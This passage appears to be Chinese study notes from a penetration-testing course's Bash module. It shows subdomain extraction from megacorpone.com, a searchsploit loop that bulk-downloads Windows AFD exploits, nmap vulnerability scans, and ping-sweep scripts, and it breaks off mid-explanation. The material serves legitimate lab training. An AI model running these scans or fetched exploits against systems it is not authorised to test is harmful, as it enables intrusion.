&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat log.txt &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;error&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; wc -l &lt;span class="c1"&gt;# 统计 log.txt 中 &amp;#34;error&amp;#34; 的行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat log.txt&lt;/code&gt; 输出文件内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep &amp;quot;error&amp;quot;&lt;/code&gt; 过滤含 &amp;ldquo;error&amp;rdquo; 的行。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wc -l&lt;/code&gt; 统计行数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="组合使用示例"&gt;&lt;strong&gt;组合使用示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="场景下载文件若失败则重试成功后解压并删除原文件"&gt;&lt;strong&gt;场景&lt;/strong&gt;：下载文件，若失败则重试，成功后解压并删除原文件。
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://example.com/file.tar.gz &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tar -xzf file.tar.gz &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;下载失败，请检查网络！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wget&lt;/code&gt; 下载文件，若成功则执行 &lt;code&gt;tar&lt;/code&gt; 解压。&lt;/li&gt;
&lt;li&gt;若 &lt;code&gt;wget&lt;/code&gt; 失败，直接执行 &lt;code&gt;echo&lt;/code&gt; 提示错误。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="符号优先级"&gt;&lt;strong&gt;符号优先级&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;默认优先级&lt;/strong&gt;：&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;||&lt;/code&gt; 的优先级低于 &lt;code&gt;|&lt;/code&gt; 和 &lt;code&gt;&amp;amp;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强制优先级&lt;/strong&gt;：用 &lt;code&gt;() &lt;/code&gt; 或&lt;code&gt; {} &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分组&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;cmd1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cmd2&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; cmd3 &lt;span class="c1"&gt;# 若 cmd1 和 cmd2 都成功则不执行 cmd3，否则执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="实操练习1-网页地址查找"&gt;实操练习1-网页地址查找
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250516145203881" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145203881.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget www.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls -al index.html 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516145036474" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145036474.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk -F &lt;span class="s2"&gt;&amp;#34;http://&amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="c1"&gt;# 1. 提取所有包含 href= 的 HTML 行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 2. 筛选含 .megacorpone 的行（子域名或路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 3. 排除含 www.megacorpone.com 的行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; head &lt;span class="c1"&gt;# 4. 仅显示前 10 条结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516145247591" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145247591.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk -F &lt;span class="s2"&gt;&amp;#34;http://&amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep -o &lt;span class="s1"&gt;&amp;#39;[^/]*\.megacorpone\.com&amp;#39;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; sort -u &amp;gt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;命令 1：提取特定子域名并处理链接结构&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="分步解析"&gt;&lt;strong&gt;分步解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep &amp;quot;href=&amp;quot; index.html&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;从 &lt;code&gt;index.html&lt;/code&gt; 中提取所有包含 &lt;code&gt;href=&lt;/code&gt; 的行（HTML 超链接标签）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep &amp;quot;\.megacorpone&amp;quot;&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;筛选包含 &lt;code&gt;.megacorpone&lt;/code&gt; 的行（匹配子域名或路径中的该字段）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep -v &amp;quot;www\.megacorpone\.com&amp;quot;&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;排除&lt;/strong&gt;包含 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 的行（主站域名）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;awk -F &amp;quot;http://&amp;quot; '{print $2}'&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;以 &lt;code&gt;http://&lt;/code&gt; 为分隔符，提取其后的内容（如 &lt;code&gt;cdn.megacorpone.com/style.css&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cut -d &amp;quot;/&amp;quot; -f 1&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;以 &lt;code&gt;/&lt;/code&gt; 为分隔符，提取第一个字段（即域名部分，如 &lt;code&gt;cdn.megacorpone.com&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;命令 2：直接匹配并收集所有子域名&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="分步解析-1"&gt;&lt;strong&gt;分步解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;grep -o '[^/]\*\.megacorpone\.com'&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-o&lt;/code&gt;：仅输出匹配的部分。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;正则&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[^/]*\.megacorpone\.com
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[^/]*&lt;/code&gt;：匹配不包含 &lt;code&gt;/&lt;/code&gt; 的任意字符（避免包含路径或端口）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\.megacorpone\.com&lt;/code&gt;：匹配以 &lt;code&gt;.megacorpone.com&lt;/code&gt; 结尾的域名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sort -u&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对结果排序并去重（&lt;code&gt;-u&lt;/code&gt; 表示唯一性）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;gt; list.txt&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将结果保存到 &lt;code&gt;list.txt&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250516145504949" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145504949.png"&gt;&lt;/p&gt;
&lt;p&gt;主机ip筛查&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; url in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; url in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -u
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516151236442" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516151236442.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516151542562" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516151542562.png"&gt;&lt;/p&gt;
&lt;p&gt;查找发现教材上的示例网页页面中的子域名，ip主要集中在加拿大（这里和教材示例不同，推测是因为使用了VPN的缘故，以及网页距离写教材时已经过去多年，更换过服务器）。&lt;/p&gt;
&lt;h2 id="实操练习2-筛选漏洞脚本并下载"&gt;实操练习2-筛选漏洞脚本并下载
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit afd windows -w -t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit afd windows -w -t &lt;span class="p"&gt;|&lt;/span&gt; grep http &lt;span class="p"&gt;|&lt;/span&gt; cut -f &lt;span class="m"&gt;2&lt;/span&gt; -d &lt;span class="s2"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;mkdir afd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; afd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; e in &lt;span class="k"&gt;$(&lt;/span&gt;searchsploit afd windows -w -t &lt;span class="p"&gt;|&lt;/span&gt; grep http &lt;span class="p"&gt;|&lt;/span&gt; cut -f &lt;span class="m"&gt;2&lt;/span&gt; -d &lt;span class="s2"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nv"&gt;exp_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt; -f 5&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed &lt;span class="s1"&gt;&amp;#39;s/exploits/raw/&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; wget -q --no-check-certificate &lt;span class="nv"&gt;$url&lt;/span&gt; -O &lt;span class="nv"&gt;$exp_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516152318445" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516152318445.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;file &lt;span class="m"&gt;17133&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat &lt;span class="m"&gt;17133&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516152453236" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516152453236.png"&gt;&lt;/p&gt;
&lt;h2 id="实操练习3-nmap扫描"&gt;实操练习3-Nmap扫描
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p- -T4 -iL nmaphost.txt --min-rate &lt;span class="m"&gt;1000&lt;/span&gt; --open
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -A -p80 --open 10.11.1.0/24 -oG nmap-scan_10.11.1.1-254
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; cutycapt --url&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt; --out&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;.png&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="课后练习"&gt;课后练习
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Research Bash loops and write a short script to perform a ping sweep of your target IP range of 10.11.1.0/24.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try to do the above exercise with a higher-level scripting language such as Python, Perl, or Ruby.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use the practical examples in this module to help you create a Bash script that extracts JavaScript files from the access_log.txt file (&lt;a class="link" href="http://www.offensive-security.com/pwkfiles/access_log.txt.gz%29" target="_blank" rel="noopener"
 &gt;http://www.offensive-security.com/pwkfiles/access_log.txt.gz)&lt;/a&gt;. Make sure the file names DO NOT include the path, are unique, and are sorted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Re-write the previous exercise in another language such as Python, Perl, or Ruby.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;研究 Bash 循环，编写一个简短的脚本，对目标 IP 范围 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 执行 Ping 扫描。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尝试用 Python 等高级语言实现上述功能。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用本模块的实例，编写一个 Bash 脚本从 &lt;code&gt;access_log.txt&lt;/code&gt; 中提取 JavaScript 文件名，要求文件名不包含路径、唯一且排序。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;用 Python 等语言重写上述提取 JavaScript 文件名的功能。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="1-bash-脚本ping-扫描"&gt;&lt;strong&gt;1. Bash 脚本：Ping 扫描 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 网段&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;这里为了能有输出，改为&lt;code&gt;172.168.169.0/24&lt;/code&gt;网段，时我本地虚拟机的内网&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/bin/bash
# 遍历 1-254，发送 Ping 请求并输出存活主机
for ip in {1..254}; do
 target=&amp;#34;172.168.169.$ip&amp;#34;
 # -c 1: 发送 1 个包，-W 1: 超时 1 秒
 ping -c 1 -W 1 $target &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
 if [ $? -eq 0 ]; then
 echo &amp;#34;$target is up&amp;#34;
 fi
done
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250516161343955" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161343955.png"&gt;&lt;/p&gt;
&lt;h4 id="2-python-脚本ping-扫描"&gt;&lt;strong&gt;2. Python 脚本：Ping 扫描 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 网段&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;import os
import subprocess
from concurrent.futures import ThreadPoolExecutor

def ping_host(ip):
 target = f&amp;#34;172.168.169.{ip}&amp;#34;
 # 调用系统 Ping 命令（Windows 需将 &amp;#39;-c 1&amp;#39; 改为 &amp;#39;-n 1&amp;#39;）
 result = subprocess.run([&amp;#39;ping&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;1&amp;#39;, &amp;#39;-W&amp;#39;, &amp;#39;1&amp;#39;, target], 
 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 if result.returncode == 0:
 print(f&amp;#34;{target} is up&amp;#34;)

# 使用多线程加速扫描（1-254）
with ThreadPoolExecutor(max_workers=50) as executor:
 executor.map(ping_host, range(1, 255))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250516161722235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161722235.png"&gt;&lt;/p&gt;
&lt;h4 id="3-bash-脚本从"&gt;&lt;strong&gt;3. Bash 脚本：从 &lt;code&gt;access_log.txt&lt;/code&gt; 提取唯一 JS 文件名&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;wget --secure-protocol=TLSv1_2 https://www.offensive-security.com/pwk-files/access_log.txt.gz
gunzip access_log.txt.gz 


#!/bin/bash
# 提取所有 JS 文件，去重并排序
grep -oP &amp;#39;GET \K[^ ]+?\.js&amp;#39; access_log.txt | awk -F/ &amp;#39;{print $NF}&amp;#39; | sort -u
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep -oP 'GET \K[^ ]+?\.js'&lt;/code&gt;&lt;/strong&gt;:
